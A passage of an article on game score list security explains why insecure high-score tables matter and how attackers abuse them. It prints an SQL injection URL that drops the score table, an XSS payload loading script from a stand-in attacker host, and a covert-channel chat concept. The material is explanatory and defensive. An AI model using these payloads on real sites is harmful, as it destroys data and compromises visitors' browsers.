Score List Hacking: Lessons Learned by Cheating Your Way to Number One, Part 2 of 2
- Why Score List Hack Attacks Matter
- Protecting the Score List
- Real-Life Example
- Summary
Like this article? We recommend
Like this article? We recommend
Like this article? We recommend
The first part of this series explored how score lists are vulnerable and the various types of attacks that score list hackers use. If your game's protections are overcome by a hacker, bad things can ensue. This article covers just a few of the potential problems and examines ways in which you can work to defeat a score list hacker.
Why Score List Hack Attacks Matter
The score list is a psychological phenomenon. Without such a list, a game is just a game. It may offer a few seconds or minutes of fun, but there's really no point to playing it. A score list provides the necessary part to any popular online game: "To get in the top 10!" Many game developers and web site operators use this behavior response to draw players, who then are forced to look at lots of advertisements or asked to buy downloadable versions of their favorite games. In other words, score lists equal money. If a score list is found to be hackable, people won't bother playing the game because it isn't worth their time to get their name on a list only to have it overwritten by a score list hacker.
This problem is compounded by the fact that many gaming sites award "winners" with money and other tangible prizes. While a score list hacker can undermine the integrity of a game, he or she could also perform subtle hacks and turn the hack into a money-making scheme for the hacker.
While this argument should stand on its own as a reason to protect a game, vulnerable score lists can also be used by attackers in more malicious ways. This article looks at three such examples.
SQL Injection
When a player submits a score to a list, it often is passed through a filter to weed out swear words and other objectionable content. Part of this process should include a filter to prevent SQL injection, but many score lists are vulnerable to this type of attack. We won't delve into the details of SQL injection, but basically an attacker could just as easily post a name and score in the following format:
http://site.com/scoreupdate.php?score=1&name=';drop tblScoreList
Depending on the construction of the SQL statement used to store the score, this HTTP request could completely delete the score list.
Unfortunately, deleting tables is not the only thing an attacker can do via SQL injection. Because many game sites also use a login to provide a tracking mechanism to the score posting, SQL injection tricks can be used to manipulate, read, or delete user accounts. If you don't think this kind of stuff is possible, think again! One Java game we encountered actually had the SQL connection information in the game file. As a result, we could see the SQL commands used to update and insert the scoring information into the table, along with the database user account information.
Cross-Site Scripting (XSS)
Cross-site scripting (XSS) attacks have been around for a few years. Ironically, they only seem to be getting more popular as time goes on. The reason is that most people only consider XSS a minor threat or annoyance. But the ramifications of XSS attacks have yet to be fully realized. For example, in February 2005, Anton Rager put together an attack scenario using a simple XSS vulnerability. The result of the attack gave Anton full control over the victim's browser. This included being able to read the currently viewed web page, remotely control the browser, and even use the victim's computer to launch attacks.
Thankfully, most score list hackers think small and only post a high score to the list. However, nothing prevents the attacker from posting a small piece of code such as this:
<script src=attackerssite.com/malcode.js></script>
If the attacker went to the trouble of creating the attack vector, he could easily post the above script in place of his posted name. The result would be that everyone who viewed the score list would in turn view the posted script and execute the code in that script. This could be something as simple as a pop-up denial-of-service attack, or something more malicious, such as an adware install or combined Internet Explorer attack.
Covert Channel
At first glance, a covert channel attack may seem like a completely whacked idea. Despite how it sounds, being able to control and/or post data quickly online is a valuable resource. If a score list is insecure, an attacker can post anything he wants. This could be code, as previously discussed, or a URL, message, phone number, email address, secret document, or other items. The actual content is up to the attacker's imagination.
In fact, a score list can actually be used as a chat engine. Just to see if this was possible, we actually created a proof of concept in Perl that allows two people to communicate with each other via an insecure score list. The process looks like this:
- Client 1 launches the program perl scorechat.pl c1 c2, where scorechat.pl is the program name, c1 is the client 1 handle, and c2 is the other party's handle.
- Client 2 launches the program perl scorechat.pl c2 c1, where the only difference is that c2 is the client 2 handle and c1 is the other party's handle.
- The c1 script checks the target score list to see if it currently is in use (coded name value); if not, it gains control of the score list by posting a score that would become the tenth score on the list. Then it enters a routine that checks every three seconds to see whether the value has been changed.
- The c2 script does the same except that, once it notices the c1 post, reads it and prompts the user for a reply. Once c2 replies, the new message is posted in the tenth spot and it enters a three-second loop where it waits for a new message.
- c1 detects the message from c2, reads it, and prompts c1 for a response, etc....
To see how this would look, check out Figure 1.
)
Figure 1 Score list covert channel.
While we used a simple chat program here to demonstrate how score lists can be abused, nothing stops us from including a file-passing function or any number of other things. Add encryption to the routine, and now the score list will only show garbage characters. The point is that because this score list was missing a validation routine, it's easy to abuse.